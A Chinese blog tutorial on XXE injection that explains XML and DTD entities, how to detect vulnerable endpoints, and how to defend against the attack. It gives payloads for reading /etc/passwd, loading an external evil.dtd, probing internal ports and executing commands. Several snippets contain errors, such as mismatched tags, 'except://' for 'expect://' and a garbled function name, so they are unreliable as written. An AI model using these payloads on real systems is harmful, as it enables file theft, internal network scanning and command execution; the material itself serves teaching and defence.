XXE外部实体注入攻击(含XML,DTD详解)

一、XML介绍

XML文件可以理解为一种可以自己定义标签的HTML文件,所以自己定义标签就需要DTD语法规则来实现,因此一个XML文档一般会有约束自己语法规则的DTD文件或直接写在XML文档内部的关于XML语法的DTD规则说明区。

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准

 二、DTD介绍

DTD是一套关于标记符的语法规则,你可以简单理解为XML文档的语法规则,它规定着XML文档有哪些标签,它可以写在XML文档内部,也可以与XML文档分开来写为两个文档一个XML文件,再引入外部DTD文件;

DTD内有关于实体定义的语法规则,XXE的漏洞爆发的根源就在于XML文档内关于DTD定义外部实体的部分,简单了解一下实体的概念

三、XXE攻击

接上图说明,在最终可以声明的四种实体中,外部通用实体与外部参数实体由于可以引用了外部的内容,导致了攻击者可以利用此处的引用点进行注入攻击,因此XXE被称为XML外部实体攻击

因此构成XXE攻击需要满足两项条件

1.XML文档引用了DTD的声明外部实体的功能

2.XML文档在接受新的参数后会被服务器重新解析

如果需要满足第一个条件,有三种情况

情况1:XML与DTD编写在同一个XML文档内,DTD声明外部通用实体,且通用实体已经被XML文档或DTD内部引用。

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<C>&b;</c>

 

情况2:XML与DTD编写在同一个XML文档内,DTD声明外部通用实体,该实体也为DTD文件且定义了实体b,通用实体b被XML文档或DTD内部引用。

XML文档内

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<C>&b;</c>

 evil.dtd文档内

<!ENTITY b SYSTEM "file:///etc/passwd">

 

 情况3:XML与DTD编写在同一个XML文档内,DTD声明外部参数实体d,该实体也为DTD文件且定义了实体b,先在DTD内引用参数实体d,再在XML文档或DTD引用通用实体b。

XML文档内

<!DOCTYPE a [
   <!ENTITY % d SYSTEM "http:/test.com/abc.dtd">
   %d;
]>

<c>&b;</c>

 abc.dtd文档内

<!ENTITY b SYSTEM "file:///etc/passwd" >

 

如果需要满足第二个条件就需要:

检测站点内所有接受XML的点,抓包观察其是否会返回我们想要的内容。

传参处输入payload

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

观察页面或者返回数据包内是否存在 Hello XXE 字样

四、XXE的检测

方式一

查看提交XML文件的地方

抓包:修改http请求,查看抓取的数据包中是否有提交XML文档,修改提交的XML文档再查看返回包响应,查看应用程序是否解析了修改内容,如果解析了则有可能存在XXE漏洞。

 

方式二

在输入框内或接受XML数据的点输入payload,观察页面或者返回数据包内是否存在 Hello XXE 字样,也就是对于XXE攻击首先看此处是否可以解析XML数据

检测payload

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

五、 XXE的exp

1.读取本地文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

2. 探测内网端口

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://192.168.31.124:4444/test">
]>
<x>&xxe;</x></r>

成功的话,会返回空白。不成功的话会报错

3.配合php拓展命令执行

如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "except://id">
]>
<x>&xxe;</x>

 六、XXE的防御

1. 禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。

2. 过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

注:创作不易,答主水平菜鸟一只,还望各位客官海涵,如有错误欢迎大佬指正

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值